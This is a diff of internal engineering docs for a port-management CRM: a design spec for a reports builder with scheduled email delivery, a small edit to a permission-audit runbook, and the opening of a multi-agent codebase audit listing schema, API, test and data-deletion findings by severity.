+- CSV + PNG/JPEG chart-snapshot outputs alongside the existing PDF.
+- Per-report metadata overrides: title, subtitle, cover-page branding swap.
+
+**Non-goals (v1)**
+
+- Excel workbook output (`xlsx`) — defer; PDF + CSV cover the asks.
+- Public hosted-HTML share-link to a report — defer.
+- Cover-page intro paragraph + footer/sign-off — defer; title/subtitle is enough.
+- A separate "Reports admin" page; admin controls live alongside the same `/reports` surface gated by `reports.admin`.
+
+---
+
+## Routing
+
+```
+/{portSlug}/reports
+  ├── (default view)              Landing: every report kind as a card with "Generate" CTA + the port's saved templates
+  ├── /[kind]                     Per-report-kind builder (two-panel: sections checklist + live preview)
+  ├── /templates                  Shared-templates manager (rename / archive / duplicate / share)
+  ├── /runs                       Run history (re-run / re-email)
+  └── /schedules                  Active recurring schedules (pause / edit recipients / cadence)
+```
+
+The existing dashboard "Export as PDF" button is rewired to navigate to `/{portSlug}/reports/dashboard?range=YYYY-MM-DD..YYYY-MM-DD` with the active date range pre-filled. One-click access preserved; rep lands in the full builder with everything pre-selected and the PDF preview ready.
+
+---
+
+## Data model
+
+Three new tables.
+
+### `report_templates_shared`
+
+Per-port, port-scoped, optionally shared with the whole team.
+
+```sql
+CREATE TABLE report_templates_shared (
+  id              text PRIMARY KEY DEFAULT gen_random_uuid()::text,
+  port_id         text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
+  name            text NOT NULL,
+  description     text,
+  -- The report-kind union ('dashboard' | 'website-analytics' | 'client-summary' | 'interest-summary' | 'berth-spec' | 'occupancy' | …).
+  -- Same vocabulary the existing PDF exporter uses.
+  kind            text NOT NULL,
+  -- Widget selection + per-widget option overrides + report metadata.
+  config          jsonb NOT NULL,
+  -- 'private' = creator only; 'team' = anyone with reports.export at this port.
+  visibility      text NOT NULL DEFAULT 'private',
+  created_by      text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT,
+  archived_at     timestamptz,
+  created_at      timestamptz NOT NULL DEFAULT now(),
+  updated_at      timestamptz NOT NULL DEFAULT now()
+);
+CREATE INDEX report_templates_shared_port_kind_idx ON report_templates_shared(port_id, kind);
+CREATE INDEX report_templates_shared_port_visibility_idx ON report_templates_shared(port_id, visibility);
+```
+
+Notes:
+
+- `config.sections: string[]` — widget ids, same shape as today's dialog.
+- `config.dateRange: { from?: string, to?: string, mode?: 'last_7' | 'last_30' | 'last_90' | 'custom' }` — saved templates default to relative ranges so a "Weekly snapshot" template stays fresh.
+- `config.metadata: { title?: string, subtitle?: string, brandingPortId?: string }` — `brandingPortId` lets the report use another port's logo/colour on the cover (admin-only).
+- `config.kindOptions` — per-kind option bag; e.g. for `website-analytics` the country filter, for `client-summary` the client-id.
+- Partial unique on `(port_id, lower(name)) where archived_at is null` — no two active templates share a name per port.
+
+### `report_runs`
+
+Append-only audit log of every generated report.
+
+```sql
+CREATE TABLE report_runs (
+  id                    text PRIMARY KEY DEFAULT gen_random_uuid()::text,
+  port_id               text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
+  -- Nullable: ad-hoc runs (no template) still get logged.
+  template_id           text REFERENCES report_templates_shared(id) ON DELETE SET NULL,
+  schedule_id           text REFERENCES report_schedules(id) ON DELETE SET NULL,
+  kind                  text NOT NULL,
+  config                jsonb NOT NULL,        -- snapshotted at run time so re-runs reproduce identically
+  output_format         text NOT NULL,         -- 'pdf' | 'csv' | 'png' | 'jpg'
+  -- Storage key of the rendered artefact. Same backend as files (s3 or filesystem).
+  storage_key           text,
+  size_bytes            integer,
+  status                text NOT NULL DEFAULT 'pending',  -- 'pending' | 'rendering' | 'complete' | 'failed'
+  error_message         text,
+  triggered_by          text NOT NULL,         -- 'user' | 'schedule'
+  triggered_by_user_id  text REFERENCES "user"(id) ON DELETE SET NULL,
+  -- When non-null, this run was emailed to these recipients on completion.
+  emailed_to            jsonb,                 -- Array<{ name?: string, email: string }>
+  emailed_at            timestamptz,
+  created_at            timestamptz NOT NULL DEFAULT now(),
+  completed_at          timestamptz
+);
+CREATE INDEX report_runs_port_created_idx ON report_runs(port_id, created_at DESC);
+CREATE INDEX report_runs_port_user_idx ON report_runs(port_id, triggered_by_user_id);
+CREATE INDEX report_runs_port_template_idx ON report_runs(port_id, template_id) WHERE template_id IS NOT NULL;
+```
+
+### `report_schedules`
+
+```sql
+CREATE TABLE report_schedules (
+  id              text PRIMARY KEY DEFAULT gen_random_uuid()::text,
+  port_id         text NOT NULL REFERENCES ports(id) ON DELETE CASCADE,
+  template_id     text NOT NULL REFERENCES report_templates_shared(id) ON DELETE CASCADE,
+  -- 'weekly_monday_9' | 'monthly_first_9' | 'quarterly_first_9' to start; cron string optional later.
+  cadence         text NOT NULL,
+  recipients      jsonb NOT NULL,           -- Array<{ name?: string, email: string }>
+  output_format   text NOT NULL DEFAULT 'pdf',
+  enabled         boolean NOT NULL DEFAULT true,
+  last_run_at     timestamptz,
+  next_run_at     timestamptz NOT NULL,     -- pre-computed for the BullMQ scheduler
+  created_by      text NOT NULL REFERENCES "user"(id) ON DELETE RESTRICT,
+  created_at      timestamptz NOT NULL DEFAULT now(),
+  updated_at      timestamptz NOT NULL DEFAULT now()
+);
+CREATE INDEX report_schedules_port_enabled_next_idx ON report_schedules(port_id, enabled, next_run_at);
+```
+
+A schedule lifecycle:
+
+1. Created via the builder ("Schedule recurring" panel) or `/schedules` page.
+2. BullMQ cron checks every 15 min for `enabled=true AND next_run_at <= now()`.
+3. For each match: create a `report_runs` row (`triggered_by='schedule'`), enqueue the rendering job, then advance `next_run_at` based on cadence.
+4. Rendering job completes → email job fires with the storage key.
+
+---
+
+## API surface (`/api/v1/reports/*`)
+
+| Verb   | Path                                        | Permission         | Notes                                                                                                                                                                           |
+| ------ | ------------------------------------------- | ------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| POST   | `/api/v1/reports/generate`                  | `reports.export`   | One-shot generate. Body: `{ kind, config, outputFormat?, deliverTo?: { recipients[] } }`. Returns `{ runId, downloadUrl }` (presigned) or fires email job when `deliverTo` set. |
+| GET    | `/api/v1/reports/templates`                 | `reports.export`   | Lists templates visible to the caller (own private + team-shared).                                                                                                              |
+| POST   | `/api/v1/reports/templates`                 | `reports.export`   | Create a template (visibility defaults to `private`).                                                                                                                           |
+| PATCH  | `/api/v1/reports/templates/[id]`            | `reports.export`\* | Update name / description / config. `*` Only the creator OR holders of `reports.admin` can edit team-shared templates.                                                          |
+| DELETE | `/api/v1/reports/templates/[id]`            | `reports.admin`    | Soft-delete (sets `archived_at`). Frontend uses "Archive" copy.                                                                                                                 |
+| POST   | `/api/v1/reports/templates/[id]/duplicate`  | `reports.export`   | Returns a copy owned by caller, visibility=`private`.                                                                                                                           |
+| GET    | `/api/v1/reports/runs`                      | `reports.export`   | Run history. Filter params: `templateId`, `userId`, `kind`, `from`, `to`.                                                                                                       |
+| POST   | `/api/v1/reports/runs/[id]/re-run`          | `reports.export`   | Generates a fresh run with the original snapshotted config + same recipients (when triggered_by=schedule).                                                                      |
+| GET    | `/api/v1/reports/runs/[id]/download`        | `reports.export`   | Presigned URL for the run artefact.                                                                                                                                             |
+| GET    | `/api/v1/reports/schedules`                 | `reports.admin`    | List scheduled jobs.                                                                                                                                                            |
+| POST   | `/api/v1/reports/schedules`                 | `reports.admin`    | Create a schedule.                                                                                                                                                              |
+| PATCH  | `/api/v1/reports/schedules/[id]`            | `reports.admin`    | Pause / edit / change recipients.                                                                                                                                               |
+| DELETE | `/api/v1/reports/schedules/[id]`            | `reports.admin`    | Remove.                                                                                                                                                                         |
+| GET    | `/api/v1/reports/availability?kind=...&...` | `reports.export`   | Lightweight per-widget presence check (drives the empty-state pills in the builder; already speced in B2 audit).                                                                |
+
+Existing `POST /api/v1/reports/generate` stays — it's the foundation. New endpoints layer on top.
+
+---
+
+## Permissions
+
+Two perms (locked decision):
+
+- **`reports.export`** — generate + download + manage own private templates. Default ON for `super_admin`, `director`, `sales_manager`, `sales_agent`, `finance_manager`. OFF for `viewer`, `residential_partner`.
+- **`reports.admin`** — manage BOTH team-shared templates AND schedules. Default ON for `super_admin` only.
+
+Seed via `src/lib/db/seed-permissions.ts` in the same PR that adds the schema.
+
+---
+
+## BullMQ queue + cron handler
+
+Two new queues:
+
+- **`reports-render`** — per-run render job. Consumed by `src/jobs/processors/report-render.ts`. Steps:
+  1. Resolve the run's config + storage key.
+  2. Run kind-specific resolver (already wired for `dashboard` and `website-analytics`; new ones get a registry entry).
+  3. Render to `outputFormat` (PDF via existing `pdfme`+`pdf-lib` path; CSV via shared resolver-to-csv helper; PNG/JPEG via puppeteer-snapshot of each chart).
+  4. Upload to storage, update `report_runs` row with `storage_key`, `size_bytes`, `status='complete'`.
+  5. If `triggered_by='schedule'` (schedule has recipients) — enqueue `reports-email` follow-up.
+
+- **`reports-email`** — fan-out email delivery. Consumed by `src/jobs/processors/report-email.ts`. Uses existing transactional-email infra (`sendBrandedEmail`) with the run artefact as an attachment OR a 7-day signed link when over the per-port attachment threshold.
+
+A cron-style `reports-scheduler` BullMQ recurring job fires every 15 min:
+
+1. `SELECT id FROM report_schedules WHERE enabled = TRUE AND next_run_at <= now() ORDER BY next_run_at`.
+2. For each: create the `report_runs` row + enqueue `reports-render` + UPDATE `next_run_at` based on cadence (helpers in `src/lib/services/report-schedule.service.ts`).
+
+---
+
+## UI plan
+
+### 1. Landing — `/{portSlug}/reports`
+
+Two-column layout:
+
+- **Left rail**: report-kind cards (Dashboard, Website Analytics, Client Summary, Interest Summary, Berth Spec, Occupancy, …). Each card shows last-run timestamp + "Generate" CTA opening that kind's builder.
+- **Right column**: tabs for "My templates" (private), "Team templates" (shared), "Recent runs" (last 10).
+
+Filtered by `reports.export`/`reports.admin` so a `viewer` never sees the page at all.
+
+### 2. Builder — `/{portSlug}/reports/[kind]`
+
+Full-page two-panel layout (the locked Q2 shape):
+
+```
+┌────────────────────────────────────┬────────────────────────────────┐
+│ Title + subtitle inputs            │                                │
+│ Date range picker                  │                                │
+│ ─── Sections (grouped by domain) ──│       Live PDF preview         │
+│ ☑ Summary                          │       (re-renders on each      │
+│ ☐ Pipeline                         │        toggle, debounced 200ms)│
+│ ☑ Berths                           │                                │
+│ ☑ Lead sources                     │                                │
+│ ☐ Operations                       │                                │
+│ ─── Output ─────────────────────── │                                │
+│ ◉ PDF                              │                                │
+│ ◯ CSV                              │                                │
+│ ◯ PNG (per chart)                  │                                │
+│ ─── Delivery ────────────────────── │                                │
+│ ◯ Download                         │                                │
+│ ◯ Email — recipient list           │                                │
+│ ─── Save / Schedule ─────────────── │                                │
+│ [ Save as template ] [ Schedule…] │                                │
+└────────────────────────────────────┴────────────────────────────────┘
+```
+
+Per-section row shows the existing "data availability" pill from the B2 audit (`ok` / `no_data` / `needs_window` / `partial`) plus a drag-handle to reorder (locked Q9 polish).
+
+### 3. Templates manager — `/{portSlug}/reports/templates`
+
+Table of every visible template with columns: name · kind · visibility · last-used · created-by. Row actions: Open in builder · Rename · Duplicate · Share with team (gated on `reports.admin` for shared ones) · Archive.
+
+### 4. Run history — `/{portSlug}/reports/runs`
+
+Server-paginated table. Columns: when · who · template name · kind · format · status · size · re-run / re-email / download.
+
+### 5. Schedules — `/{portSlug}/reports/schedules`
+
+Table of active schedules. Columns: template · cadence · recipients · last run · next run · enabled toggle · edit.
+
+---
+
+## Quick-path dashboard button
+
+The existing `<ExportDashboardPdfButton>` (`src/components/reports/export-dashboard-pdf-button.tsx`) is rewired to navigate to `/{portSlug}/reports/dashboard?range=...` instead of opening the in-dashboard dialog. The dialog logic moves into the builder page wholesale (same checklist + same preview component). One-click access preserved; the bigger surface gives reps room to breathe.
+
+---
+
+## Phased PR plan
+
+| PR                                         | Scope                                                                                                                                                                                                                 | Effort | Ships independently                                             |
+| ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------ | --------------------------------------------------------------- |
+| **P1: Schema + perms**                     | `0084_reports_page.sql` (3 tables + indexes) + seed `reports.export` / `reports.admin` perms + service skeleton (`report-template.service.ts`, `report-run.service.ts`, `report-schedule.service.ts`). No UI changes. | ~4 h   | Yes (no behavioural change)                                     |
+| **P2: Templates API**                      | CRUD routes for `report_templates_shared` + `report_runs` (read-only at this stage). Mount under `/api/v1/reports/templates` + `/api/v1/reports/runs`. Vitest coverage.                                               | ~4 h   | Yes                                                             |
+| **P3: Schedules API + cron**               | `/api/v1/reports/schedules` CRUD + BullMQ `reports-scheduler` recurring job + `reports-render` + `reports-email` queues. Renderer reuses the existing PDF path. Vitest + integration tests.                           | ~8 h   | Yes                                                             |
+| **P4: Landing + builder UI**               | `/{portSlug}/reports` landing + `/[kind]` builder. Migrate the existing dialog UI into the builder; delete the dialog. Dashboard button rewires to the builder.                                                       | ~10 h  | Yes (templates/runs UIs still missing — they get a placeholder) |
+| **P5: Templates + Runs + Schedules pages** | Three sub-route pages, table UIs, row actions, modal forms for "Schedule…".                                                                                                                                           | ~8 h   | Yes                                                             |
+| **P6: CSV + PNG outputs**                  | Add output-format renderers; wire output radio in builder.                                                                                                                                                            | ~6 h   | Yes                                                             |
+| **P7: Metadata overrides + branding swap** | Title/subtitle inputs + cover-page brand picker (admin-only).                                                                                                                                                         | ~3 h   | Yes                                                             |
+
+Total: ~43 h spread across 7 PRs.
+
+---
+
+## Open follow-ups (intentionally deferred past v1)
+
+- Excel workbook output.
+- Public hosted-HTML share-link (write to `/api/public/reports/[id]` with a signed token).
+- Cover-page intro paragraph + footer/sign-off note.
+- Custom cron strings (today: enum cadence only — `weekly_monday_9` etc).
+- Per-user template visibility ('shared with specific users' beyond port-wide team).
+
+Capture in `docs/BACKLOG.md` after P5 ships.

docs/runbooks/permission-audit.md

@@ -28,7 +28,6 @@ Scanned 182 route files under `src/app/api/v1/`.
 | `src/app/api/v1/alerts/[id]/dismiss/route.ts`                    | POST   | Alerts are user-scoped; port-filtered via auth context.                           |
 | `src/app/api/v1/alerts/count/route.ts`                           | GET    | Alerts are user-scoped; port-filtered via auth context.                           |
 | `src/app/api/v1/alerts/route.ts`                                 | GET    | Alerts are user-scoped; port-filtered via auth context.                           |
-| `src/app/api/v1/berth-reservations/[id]/route.ts`                | PATCH  | TODO: PATCH should map to reservations:edit (not currently in catalog).           |
 | `src/app/api/v1/currency/convert/route.ts`                       | POST   | Currency reference data; port-scoped, no PII.                                     |
 | `src/app/api/v1/currency/rates/refresh/route.ts`                 | POST   | TODO: gate with admin:manage_settings — currently allow-listed.                   |
 | `src/app/api/v1/currency/rates/route.ts`                         | GET    | Currency reference data; port-scoped, no PII.                                     |

docs/superpowers/audits/2026-05-18-full-codebase-audit.md

@@ -0,0 +1,335 @@
+# Full Codebase Audit — 2026-05-18
+
+> **Companion doc:** [Alpha UAT Master](./alpha-uat-master.md) — the multi-day cross-cutting Playwright/React-Grab walkthrough doc, findings cross-referenced here as `→ confirmed in manual #N`.
+>
+> **Methodology:** Parallel sonnet[1m] audit team (16 narrow-scope agents), each assigned a specific subsystem with no overlap. Every finding includes file:line evidence; severity is `critical | high | medium | low | info`. Findings here are raw — triage + prioritization at the bottom.
+>
+> **Scope:** entire `src/` tree at commit `b3f8756` (post-audit-cleanup). Excludes `docs/`, `tests/` (covered by F3), build/Docker config, and node_modules.
+>
+> **Out of scope:** anything in `docs/BACKLOG.md` already triaged. This audit looks for NEW findings not on that list.
+
+---
+
+## Audit team composition
+
+| Agent                           | Scope                                                                                    |
+| ------------------------------- | ---------------------------------------------------------------------------------------- |
+| **A1 — Schema: people/orgs**    | `src/lib/db/schema/{clients,yachts,companies,users}.ts`                                  |
+| **A2 — Schema: pipeline**       | `src/lib/db/schema/{interests,berths,reservations}.ts`                                   |
+| **A3 — Schema: docs+infra**     | `src/lib/db/schema/{documents,email,brochures,system}.ts`                                |
+| **B1 — Public API**             | `src/app/api/public/*`                                                                   |
+| **B2 — Admin API**              | `src/app/api/v1/admin/*`                                                                 |
+| **B3 — v1 entity CRUD**         | `src/app/api/v1/{clients,interests,yachts,companies,berths}/*`                           |
+| **B4 — Webhooks/auth/storage**  | `src/app/api/{webhooks,auth,storage}/*`                                                  |
+| **C1 — EOI/Documenso services** | `src/lib/services/{eoi-*,document-templates,custom-document-upload,documenso-client}.ts` |
+| **C2 — Domain services**        | `src/lib/services/{berth-*,reminders,notifications,inquiry-notifications}.ts`            |
+| **C3 — Observability/audit**    | `src/lib/services/error-events.service.ts`, `src/lib/audit.ts`, `src/lib/storage/*`      |
+| **D1 — Jobs/queues**            | `src/lib/queue/scheduler.ts`, `src/lib/queue/workers/*`, `src/jobs/processors/*`         |
+| **E1 — Admin UI**               | `src/app/(dashboard)/[portSlug]/admin/*`                                                 |
+| **E2 — Entity UI**              | `src/components/{interests,clients,yachts,companies,berths}/*`                           |
+| **F1 — Security cross-cut**     | Auth/permission gaps, XSS/SQLi, port-isolation, secret leaks                             |
+| **F2 — Performance**            | Missing indexes, N+1 queries, unbounded fan-outs, hot paths                              |
+| **F3 — Tests + deps**           | Coverage gaps, package.json freshness, Docker/CI                                         |
+
+---
+
+## Findings by agent
+
+### A2 — Schema: pipeline (15 findings: 3 high, 4 medium, 7 low, 1 info)
+
+| #   | Severity | Title                                                                                             | Evidence                                                                                             |
+| --- | -------- | ------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
+| 1   | high     | No DB-level CHECK on `interests.pipeline_stage`                                                   | `interests.ts:44` — text col, no CHECK; legacy 'completed' / 'eoi_signed' can persist via raw SQL    |
+| 2   | high     | No DB-level CHECK on `outcome`, `eoi_doc_status`, `reservation_doc_status`, `contract_doc_status` | `interests.ts:47-49,84` — bare text on all 4 enum-shaped columns                                     |
+| 3   | high     | No DB-level CHECK on `berths.status`                                                              | `berths.ts:31` — `derivePublicStatus()` silently falls through to 'Available' on bad values          |
+| 4   | medium   | No CHECK on `berth_reservations.status` — breaks `idx_br_active` invariant                        | `reservations.ts:34,61-64` — misspelled 'Active' bypasses the one-active-per-berth guard             |
+| 5   | medium   | Stale `berthId` field on `Interest` domain type                                                   | `src/types/domain.ts:39` — `interests.berth_id` was dropped in 0029; type still declares it          |
+| 6   | medium   | Board query missing composite partial index — bitmap-AND scan on large ports                      | `interests.ts:113-117` — need `(portId, pipelineStage) WHERE archivedAt IS NULL AND outcome IS NULL` |
+| 7   | medium   | `interestTags.tagId` + `berthTags.tagId` are comment-only FKs, no DB constraint                   | `interests.ts:205-207`, `berths.ts:267-269` — tag deletes silently orphan junction rows              |
+| 8   | medium   | `berthWaitingList` lacks `port_id` column — no schema-level cross-port isolation                  | `berths.ts:170-192` — defense-in-depth depends entirely on service layer                             |
+| 9   | low      | No index on `interest_berths.is_in_eoi_bundle`                                                    | bundle lookups scan all rows for the interestId                                                      |
+| 10  | low      | `berthRecommendations` lacks `port_id` — same isolation pattern as #8                             | `berths.ts:146-168`                                                                                  |
+| 11  | low      | `interests.assignedTo`, `interest_berths.addedBy`/`eoiBypassedBy` are bare text — no FK to users  | dead entries accumulate on user delete                                                               |
+| 12  | low      | `berthMaintenanceLog.portId` FK missing onDelete — implicit NO ACTION breaks H-01 convention      | `berths.ts:204-206`                                                                                  |
+| 13  | low      | `berthReservations.startDate`/`endDate` use timestamptz `mode:'date'` — TZ off-by-one risk        | should be `date()`                                                                                   |
+| 14  | low      | `idx_interests_stage` is not partial — bloats with archived + closed rows                         | add `WHERE archivedAt IS NULL AND outcome IS NULL`                                                   |
+| 15  | info     | `is_primary` ≤1 per interest invariant correctly enforced via partial unique index                | `interests.ts:165-167` — no action needed                                                            |
+
+### B2 — API: admin (10 findings: 2 medium, 8 low)
+
+| #   | Severity | Title                                                                                            | Evidence                                                                                                                   |
+| --- | -------- | ------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------------- |
+| 1   | medium   | `GET /qualification-criteria` has no `withPermission` gate                                       | `qualification-criteria/route.ts:9` — any authenticated user can enumerate; POST correctly gates                           |
+| 2   | medium   | Triage PATCH on website-submissions uses `view_audit_log` (read) for a write                     | `website-submissions/[id]/triage/route.ts:26` — semantic mismatch; should be manage_settings                               |
+| 3   | low      | `/admin/storage/route.ts` POST returns bare `result` without `{data:...}`                        | `storage/route.ts:64` — breaks toastError frontend hook                                                                    |
+| 4   | low      | `/admin/ocr-settings/test` POST returns bare result without `{data:...}`                         | `ocr-settings/test/route.ts:26`                                                                                            |
+| 5   | low      | `/admin/ocr-settings` PUT returns `{ok:true}` — legacy success-flag pattern                      | `ocr-settings/route.ts:64` — should be 204 or `{data: updatedConfig}`                                                      |
+| 6   | low      | `/admin/custom-fields/[fieldId]` PATCH uses raw `req.json()` + manual `.parse()` not `parseBody` | `custom-fields/[fieldId]/route.ts:18-19` — generic 500 instead of structured 400                                           |
+| 7   | low      | `/admin/ai-budget` PUT — `setAiBudget` audit record missing ipAddress + userAgent                | `ai-budget/route.ts:40`                                                                                                    |
+| 8   | low      | `/admin/ocr-settings` PUT — `saveOcrConfig` audit record missing ipAddress + userAgent           | `ocr-settings/route.ts:53` — encrypted API key swap is high-impact, deserves full context                                  |
+| 9   | low      | `/admin/brochures/[id]` PATCH+DELETE pass no audit meta to service helpers                       | `brochures/[id]/route.ts:26,37` + brochures POST — pattern mismatch with form-templates, custom-fields, document-templates |
+| 10  | low      | `/admin/email-templates` PUT returns `{data:{ok:true}}` — flag body instead of entity or 204     | `email-templates/route.ts:84`                                                                                              |
+
+### A3 — Schema: docs+infra (15 findings: 1 high, 7 medium, 7 low)
+
+| #   | Severity | Title                                                                                                       | Evidence                                                                                                                          |
+| --- | -------- | ----------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **high** | `documents.documenso_id` has NO INDEX                                                                       | `documents.ts:88` — full table scan on every webhook delivery (hottest read path); only documenso_numeric_id is indexed           |
+| 2   | medium   | `documentSigners.signingToken` indexed but NOT unique                                                       | `documents.ts:188,193` — token collision/replay has no DB-level guard; should be partial uniqueIndex                              |
+| 3   | medium   | `audit_logs` missing 4-column inspector index                                                               | `system.ts:62-63` — neither existing index covers `(port_id, entity_type, entity_id, ORDER BY created_at)` without heap re-filter |
+| 4   | medium   | `system_settings NULLS NOT DISTINCT` lives in migration 0047 only — `db:push` drops it                      | `system.ts:144-149` — fresh `db:push` re-introduces the duplicate-global-settings bug 0047 fixed                                  |
+| 5   | medium   | `documentFolders.parentId` self-FK MISSING from Drizzle schema (only in migration 0050)                     | `documents.ts:357-358` — fresh `db:push` skips the self-FK; orphaned folders undetectable                                         |
+| 6   | medium   | `emailMessages.attachmentFileIds` text[] with no FK — dangling IDs survive RTBF wipe                        | `email.ts:78` + `client-hard-delete.service.ts:269-277` — RTBF wipes body/subject but not attachment file references              |
+| 7   | medium   | `brochureVersions` missing `unique(brochureId, versionNumber)` — unlike berth_pdf_versions                  | `brochures.ts:79` — concurrent uploads could assign duplicate version numbers                                                     |
+| 8   | medium   | `documensoNumericId` indexed non-uniquely despite being globally unique                                     | `documents.ts:94,152` — webhook resolver matches multiple docs for same numeric ID; double-processing                             |
+| 9   | low      | `emailThreads.clientId` has no `onDelete` clause — defaults to RESTRICT, inconsistent with `set null` peers | `email.ts:50`                                                                                                                     |
+| 10  | low      | `files.storagePath` has no unique constraint — duplicate blob paths undetected                              | `documents.ts:41` — migrate-storage.ts would silently double-migrate                                                              |
+| 11  | low      | `brochureVersions.storageKey` + `berth_pdf_versions.storageKey` lack unique constraints                     | same as #10                                                                                                                       |
+| 12  | low      | `documentSends.berthPdfVersionId` has no index — full-scan for version-X queries                            | `brochures.ts:120`                                                                                                                |
+| 13  | low      | C.2 dedup gap: SIGNED events with `recipient_email=NULL` fall back to broken hash-only path                 | migration 0075 risk note: any v2 code path emitting global SIGNED without recipient context bypasses per-recipient dedup          |
+| 14  | low      | C.2 dedup over-eager: void-then-reinvite with same email blocks the legitimate 2nd signing                  | `documents.ts:230-232` — partial unique on (docId, recipientEmail, eventType) treats reinvited signing as re-delivery             |
+| 15  | low      | `document_sends` + `emailMessages` parallel send-audit tables with no cross-reference                       | future IMAP-synced sent-folder → duplicate GDPR exports                                                                           |
+
+### B1 — API: public (12 findings: 1 high, 3 medium, 5 low, 3 info)
+
+| #   | Severity | Title                                                                                                        | Evidence                                                                                                                                      |
+| --- | -------- | ------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **high** | `portId` is caller-controlled on `/interests` — NOT validated against existing ports                         | `interests/route.ts:40` — caller can inject client/yacht/interest into ANY tenant they know the UUID for; residential-inquiries DOES validate |
+| 2   | medium   | Health endpoint `X-Intake-Secret` comparison leaks secret byte-length via timing short-circuit               | `health/route.ts:57` — length check before timingSafeEqual; website-inquiries does it right                                                   |
+| 3   | medium   | `X-Forwarded-For` spoofable — rate-limit keys are attacker-controlled on all public POST routes              | interests/residential/website-inquiries — no x-real-ip fallback; route-helpers `clientIp()` has it but isn't used                             |
+| 4   | medium   | `/public/supplemental-info/[token]` has NO rate limiting on GET or POST                                      | `supplemental-info/[token]/route.ts` — POST writes live client PII (name, address, email, phone) at unlimited rate                            |
+| 5   | low      | Unbounded string fields in public schemas — multi-MB payloads allowed                                        | publicInterestSchema/publicResidentialInquirySchema — no `.max()` on phone/notes/preferences; no segment bodySizeLimit                        |
+| 6   | low      | Invalid `portId` on `/interests` causes 500 (DB FK error) not 400                                            | residential route has the explicit pre-check; interests doesn't                                                                               |
+| 7   | low      | `supplemental-info` POST uses raw `req.json()` + `.parse()` instead of `parseBody()`                         | malformed JSON returns 500 not field-level 400                                                                                                |
+| 8   | low      | `supplemental-info` GET missing `Cache-Control: no-store` — intermediaries may cache token-keyed PII payload | response includes primaryEmail/Phone/streetAddress                                                                                            |
+| 9   | low      | Rate limiting fails open on Redis outage — silently drops public-form protection                             | `rate-limit.ts:57-73` — intentional for auth, equally affects public POST                                                                     |
+| 10  | info     | `applySubmission` distinguishes consumed vs expired token in error message                                   | violates the conflation principle the GET path uses                                                                                           |
+| 11  | info     | Authenticated health probe discloses `APP_URL` and `NODE_ENV`                                                | `health/route.ts:86-93` — internal URL leak via authed probe                                                                                  |
+| 12  | info     | `residential-inquiries` exposes internal UUIDs and uses deprecated `{success:true}` envelope                 | `residential-inquiries/route.ts:123`                                                                                                          |
+
+### F3 — Tests + deps + infra (15 findings: 2 critical, 3 high, 4 medium, 5 low, 1 info)
+
+| #   | Severity     | Title                                                                                      | Evidence                                                                                                                                                                                 |
+| --- | ------------ | ------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **CRITICAL** | `client-hard-delete.service.ts` has ZERO unit or integration tests                         | GDPR/CCPA-critical path just modified today; no automated regression guard                                                                                                               |
+| 2   | **CRITICAL** | No CI/CD pipeline — `.github/workflows/` does not exist                                    | every merge can silently break tests; the full vitest+playwright suite must be run manually                                                                                              |
+| 3   | high         | `alert-engine-realtime.spec.ts` permanently skips a test whose route now exists            | spec skip says route not implemented; route file present at `/admin/alerts/run-engine`                                                                                                   |
+| 4   | high         | `documenso-client.ts` v1/v2 routing has no dedicated unit test                             | every EOI + document-send path goes through it                                                                                                                                           |
+| 5   | high         | Coverage config excludes `src/app/` — route handlers never counted                         | `vitest.config.ts: coverage.include: ['src/lib/**']` — misleadingly low coverage on API surface                                                                                          |
+| 6   | medium       | Two competing image-crop libraries in production deps                                      | `react-easy-crop` + `react-image-crop` both live; one call site each                                                                                                                     |
+| 7   | medium       | Six PDF-related packages; pdfkit (1 usage) and unpdf (1 usage) candidate for consolidation | `pdf-lib`, `pdfjs-dist`, `pdfkit`, `react-pdf`, `unpdf`, `@react-pdf/renderer`                                                                                                           |
+| 8   | medium       | CLAUDE.md lists `pdfme` as a tech-stack dep — not in package.json                          | removed 2026-05-12; CLAUDE.md outdated                                                                                                                                                   |
+| 9   | medium       | `playwright.config.ts` retries hardcoded to 0, not elevated in CI                          | should be `process.env.CI ? 2 : 0` for flaky network-bound realapi tests                                                                                                                 |
+| 10  | low          | No top-level `test` npm script — requires `pnpm exec vitest run`                           | DX gap; CI templates expect a `test` alias                                                                                                                                               |
+| 11  | low          | Missing `test:e2e:realapi` and `test:e2e:visual` shorthand scripts                         | inconsistency vs `test:e2e:smoke/exhaustive/destructive`                                                                                                                                 |
+| 12  | low          | `@hookform/devtools` devDep + `FormDevtool` wrapper component have no callers              | dead code                                                                                                                                                                                |
+| 13  | low          | Dockerfile builder stage uses broad `COPY . .` — secrets rely entirely on `.dockerignore`  | well-structured .dockerignore mitigates, but targeted COPY is defense-in-depth                                                                                                           |
+| 14  | low          | Large cluster of high-value services have no unit tests at all                             | interest-berths, portal-auth, alert-engine, berth-rules-engine, documenso-webhook, document-reminders, external-eoi, residential, document-sends, notifications, webhooks (~50 services) |
+| 15  | info         | Exhaustive e2e tests use `test.skip(true, ...)` as soft guards when fixtures absent        | intentional graceful-degrade pattern; not a bug                                                                                                                                          |
+
+### C3 — Observability + infra (10 findings: 2 high, 1 medium, 5 low, 2 info)
+
+| #   | Severity | Title                                                                                       | Evidence                                                                                                                                                                                                                        |
+| --- | -------- | ------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 1   | **high** | GDPR export bundles NOT deleted from storage on client hard-delete                          | `gdpr.ts:35` storageKey + `client-hard-delete.service.ts:241-244` — files.clientId collected, gdprExports.storageKey never queried; cascade kills DB row but blob orphans. **This is a gap in the A.7 RTBF fix shipped today.** |
+| 2   | **high** | NO RTBF/hard-delete path for `residential_clients`                                          | residential.ts schema holds equivalent PII to marina clients; zero hard-delete code path — no confirmation flow, no blob sweep, no audit, no API endpoint                                                                       |
